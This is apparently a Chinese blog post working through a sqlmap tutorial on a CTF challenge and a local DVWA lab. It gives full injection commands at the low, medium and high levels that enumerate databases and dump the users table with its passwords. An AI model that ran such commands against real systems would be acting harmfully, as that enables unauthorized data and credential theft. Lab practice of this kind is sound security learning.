2019-02-14 sqlmap的基本使用

一些sqlmap的命令,留着备用:https://www.freebuf.com/sectool/164608.html
感觉这篇教程也不错:https://www.cnblogs.com/im404/p/3505894.html
命令合集:https://www.jianshu.com/p/fa77f2ed788b

在学习这个工具的时候我试着做了一下平台上一道题:

2019-02-14 sqlmap的基本使用_第1张图片
image

一开始一直没找到注入点,直到试了一下万能密码,发现可行:

2019-02-14 sqlmap的基本使用_第2张图片
image
2019-02-14 sqlmap的基本使用_第3张图片
image

首先列举数据库:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://47.105.148.65:49176/index.php?submit=%27+or+1%3D%271" --dbs
2019-02-14 sqlmap的基本使用_第4张图片
image
2019-02-14 sqlmap的基本使用_第5张图片
image

可以发现一共有4个可用的数据库。
friend数据库有些可疑,列举这个数据库的表名:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://47.105.148.65:49176/index.php?submit=%27+or+1%3D%271" -D friend --tables
2019-02-14 sqlmap的基本使用_第6张图片
image

发现了一个名为xiaohong的表,而题目中提示“小红不在同学名单里”,所以接下来获取xiaohong这个表的列名:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://47.105.148.65:49176/index.php?submit=%27+or+1%3D%271" -D friend -T xiaohong --columns
2019-02-14 sqlmap的基本使用_第7张图片
image

发现表中有3个字段:id,name,sign,接着爆字段:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://47.105.148.65:49176/index.php?submit=%27+or+1%3D%271" -D friend -T xiaohong -C "id,name,sign" --dump
2019-02-14 sqlmap的基本使用_第8张图片
image

顺利拿到了flag。

2019-02-14 sqlmap的基本使用_第9张图片
image

接下来测试一下DVWA的SQL注入漏洞。

2019-02-14 sqlmap的基本使用_第10张图片
image

首先是low级别。

写点东西提交一下,找到注入点,先只使用url试一下:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
2019-02-14 sqlmap的基本使用_第11张图片
image

有个302跳转,查了查应该是需要带上cookie。
带上cookie试一试:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1"
2019-02-14 sqlmap的基本使用_第12张图片
image

接下来列举数据库(偷了个懒用了--batch参数):

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --dbs
2019-02-14 sqlmap的基本使用_第13张图片
image

可以看到有8个可用的数据库。

接下来列举dvwa数据库中所有的表:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch -D dvwa --tables
2019-02-14 sqlmap的基本使用_第14张图片
image

一共有两个表。

获取表users的列名:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch -D dvwa -T users --columns
2019-02-14 sqlmap的基本使用_第15张图片
image

一共8列。
最后爆字段:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch -D dvwa -T users -C "user,avatar,first_name,last_name,password,user_id" --dump

这一步有些慢,但最终成功得到了数据:

2019-02-14 sqlmap的基本使用_第16张图片
image

接下来尝试medium级别。

在medium级别下,输入框被改成了下拉菜单,请求方式变成了post。

2019-02-14 sqlmap的基本使用_第17张图片
image

查了一下资料,发现这个级别也是可以使用sqlmap进行注入的,只不过命令要改成:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --data "id=1&Submit=Submit"

参考资料:https://blog.csdn.net/monsterdouble/article/details/80818675

2019-02-14 sqlmap的基本使用_第18张图片
image

接下来的步骤与low级别几乎完全相同:

爆库:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --data "id=1&Submit=Submit" --batch --dbs
2019-02-14 sqlmap的基本使用_第19张图片
image

爆表:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --data "id=1&Submit=Submit" --batch -D dvwa --tables
2019-02-14 sqlmap的基本使用_第20张图片
image

爆字段:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --data "id=1&Submit=Submit" --batch -D dvwa -T users -C "user,first_name,last_name,password,user_id" --dump
2019-02-14 sqlmap的基本使用_第21张图片
image

最后是high级别(貌似impossible用sqlmap搞不了):

image

high提交查询和显示结果的页面不是一个,与medium相比发生了很大变化,据说这样做是为了防止sqlmap这样的自动化工具的扫描测试。
但是,仍然可以用sqlmap进行注入,只不过需要改变一下方法:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --second-url="http://192.168.113.128/dvwa/vulnerabilities/sqli/"

参考资料:https://www.jianshu.com/p/e263ea40fe25
注:参考资料里的--second-order似乎已经无法使用了,但是可以使用--second-url替代

成功检测到了注入点:

2019-02-14 sqlmap的基本使用_第22张图片
image

接下来的步骤就和前两个级别差不多了:

爆库:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --second-url="http://192.168.113.128/dvwa/vulnerabilities/sqli/" --dbs
2019-02-14 sqlmap的基本使用_第23张图片
image

爆表:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --second-url="http://192.168.113.128/dvwa/vulnerabilities/sqli/" -D dvwa --tables
2019-02-14 sqlmap的基本使用_第24张图片
image

获取列名(测试medium级别时漏了这一步):

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --second-url="http://192.168.113.128/dvwa/vulnerabilities/sqli/" -D dvwa -T users --columns
2019-02-14 sqlmap的基本使用_第25张图片
image

爆字段:

C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --second-url="http://192.168.113.128/dvwa/vulnerabilities/sqli/" -D dvwa -T users -C "user,first_name,last_name,password,user_id" --dump
2019-02-14 sqlmap的基本使用_第26张图片
image

你可能感兴趣的:(2019-02-14 sqlmap的基本使用)